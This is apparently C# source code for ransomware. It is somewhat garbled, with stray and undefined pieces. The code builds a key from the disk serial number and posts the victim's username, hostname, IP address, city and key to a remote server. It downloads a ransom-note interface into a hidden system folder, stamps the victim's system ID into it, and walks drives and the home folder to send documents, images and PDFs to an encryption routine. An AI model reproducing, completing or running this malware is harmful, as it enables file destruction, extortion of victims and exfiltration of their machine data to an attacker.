static void Main(string[] args) { passwordkey = GeneratePassword(); systemid = GenerateSystemId(); CheckConnection(); MakeConnection(); RetriveFiles(); AlertingUser(); Console.ReadKey(); //Creating All Required Methods string GeneratePassword() { var randomstring = new RNGCryptoServiceProvider(); var buf = new byte[18]; //length not randomly picked, see 64Base, wikipedia randomstring.GetBytes(buf); string password = Convert.ToBase64String(buf); return(password); } //This method returns complex & random password string GenerateSystemId() { ManagementClass mangnmt = new ManagementClass("Win32_LogicalDisk"); ManagementObjectCollection mcol = mangnmt.GetInstances(); string result = ""; foreach (ManagementObject strt in mcol) { result += Convert.ToString(strt["VolumeSerialNumber"]); } return(result); } //Generating System Id bool CheckConnection() //Checking for Internet Connection { while (true) { try { var i = new Ping().Send("www.google.com").Status; if (i == IPStatus.Success) { Console.WriteLine("connected"); return(true); } else { return(false); } } catch (Exception) { Console.WriteLine("Not Connected"); Thread.Sleep(2000); continue; } } } //checking for internet connection void MakeConnection() { //Uploading System Information and Password try //for Exception handling { //Geeting Current Username string username = Environment.UserName; //Geeting Machine Hostname string machine = Environment.MachineName; //Getting OS Name //--------------------// //Getting Current Time string time = DateTime.Now.ToString("HH:mm:ss"); //Getting Date and Day string date = DateTime.Today.ToString("dd/MM/yyyy") + ", " + DateTime.Now.DayOfWeek.ToString(); //Getting Ip Address string ip = new System.Net.WebClient().DownloadString("https://api.ipify.org"); //Sending Data to the Server var client = new HttpClient(); //Getting Location String location() { var api = new IpInfoApi(client); var rep = api.GetCurrentCityAsync(); //string location = new System.Net.WebClient().DownloadString(""); Console.WriteLine($"City: {rep.Result}"); return(rep.Result); } HDid = "A125OKA" + systemid + "4758ahzii"; string Passwd = HDid; passwordkey = Passwd; var pairs = new List <KeyValuePair <string, string> > { new KeyValuePair <string, string>("machine_name", machine), new KeyValuePair <string, string>("computer_user", username), new KeyValuePair <string, string>("systemid", systemid), new KeyValuePair <string, string>("os", "Windows 10"), new KeyValuePair <string, string>("date", date), new KeyValuePair <string, string>("time", time), new KeyValuePair <string, string>("ip", ip), new KeyValuePair <string, string>("location", location()), // new KeyValuePair<string, string>("location", "Unkown"), new KeyValuePair <string, string>("password", passwordkey), new KeyValuePair <string, string>("handshake", "jasmin@123"), }; var content = new FormUrlEncodedContent(pairs); var response = client.PostAsync(hostaddr, content).Result; if (response.IsSuccessStatusCode) { Console.WriteLine(response); Console.WriteLine(GenerateSystemId()); Console.WriteLine(GeneratePassword()); } else { Console.WriteLine("No Connection"); } } catch (Exception) { } //Creating AlertMessageUi try { StartDownload(); // Downloading Alert Message Ui from the server //Write Systemid to HTML File try { string SystemIdTag1 = "<h3 style=\"color: grey; font-size:95% \"> Your System Id is : " + GenerateSystemId() + " </h3>"; string SystemIdTag2 = "<h3 style=\"color: white; font-size:110% \"> Your System Id is : " + GenerateSystemId() + " </h3>"; string FileToEdit = @"C:\Users\Public\Windows\Ui\index.html"; WriteSystemId(SystemIdTag1, FileToEdit, 129); WriteSystemId(SystemIdTag2, FileToEdit, 285); void WriteSystemId(string newText, string fileName, int line_to_edit) { string[] arrLine = File.ReadAllLines(fileName); arrLine[line_to_edit - 1] = newText; File.WriteAllLines(fileName, arrLine); } } catch { Console.WriteLine("Error While SystemID Writing"); } } catch { Console.WriteLine("Error In Download"); } } //Making connection with web dashboard bool StartDownload() { WebClient wc = new WebClient(); while (true) { try { if (Directory.Exists(AlertMsgPath)) { Directory.Delete(AlertMsgPath, true); Directory.CreateDirectory(AlertMsgPath).Attributes = FileAttributes.System | FileAttributes.Hidden; } else { Directory.CreateDirectory(AlertMsgPath).Attributes = FileAttributes.System | FileAttributes.Hidden; } wc.DownloadFile(AlertMsgLink, AlertMsgFile); Thread.Sleep(450); Console.WriteLine("Downloaded"); StartExtraction(); //Start Extraction Process return(true); } catch (WebException) { Console.WriteLine("Unable to Download\nRetrying Please wait.."); Thread.Sleep(2000); continue; } } } //Downloading files from web dashboard bool StartExtraction() { while (true) //working in a loop until file is being downloaded { try { if (File.Exists(AlertMsgFile))// starts only if file exists { using (Stream stream = File.OpenRead(AlertMsgFile)) { var reader = ReaderFactory.Open(stream); while (reader.MoveToNextEntry()) { if (!reader.Entry.IsDirectory) { reader.WriteEntryToDirectory(AlertMsgPath, new ExtractionOptions() { ExtractFullPath = true, Overwrite = true }); } } } return(true); } else { return(false); } } catch (Exception) { continue; } } } //Extracting Downloaded files void RetriveFiles() { DriveInfo[] drives = DriveInfo.GetDrives(); //Disk Information Array string UserHomeDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); //Users's Default Home Directory string[] extensions = { "*.pptx", "*.docx", "*.xlsx", "*.txt", "*.pdf", "*.500", "*.jpeg", "*.jpg", "*png" }; //target file extesnions foreach (DriveInfo drive in drives) { try { if (drive.Name == @"C:\") // skiping C drive { continue; } string dpath = drive.Name; // Drive Path Console.WriteLine(dpath); foreach (string l in extensions) { try { foreach (string d in Directory.EnumerateDirectories(dpath)) { try { foreach (string p in Directory.EnumerateFiles(d, l, SearchOption.AllDirectories)) { try { Thread t = new Thread(() => FileEncryption(p)); t.Priority = ThreadPriority.AboveNormal; t.Start(); } catch (UnauthorizedAccessException) { continue; } } } catch (UnauthorizedAccessException) { continue; } catch (Exception) { continue; } } //recursively list all the files in a drive foreach (string p in Directory.EnumerateFiles(dpath, l)) { try { Thread t = new Thread(() => FileEncryption(p)); t.Priority = ThreadPriority.AboveNormal; t.Start(); } catch (UnauthorizedAccessException) { continue; } } } catch (Exception) { continue; } } } catch (Exception) { continue; } } //retrieving Drives files foreach (string l in extensions) { try { foreach (string d in Directory.EnumerateDirectories(UserHomeDir)) { try { foreach (string p in Directory.EnumerateFiles(d, l, SearchOption.AllDirectories)) { try { Thread t = new Thread(() => FileEncryption(p)); t.Priority = ThreadPriority.AboveNormal; t.Start(); } catch (UnauthorizedAccessException) { continue; } } catch (ArgumentException) { continue; } } catch (UnauthorizedAccessException) { continue; } } //recursively list all the files in a drive foreach (string p in Directory.EnumerateFiles(UserHomeDir, l)) { try { Thread t = new Thread(() => FileEncryption(p)); t.Priority = ThreadPriority.AboveNormal; t.Start(); } catch (UnauthorizedAccessException) { continue; } } } catch (Exception) { continue; } } //retrieving User's files
public async Task <string> GetLocationAsync() { string response = await api.GetCurrentCityAsync(); return(response); }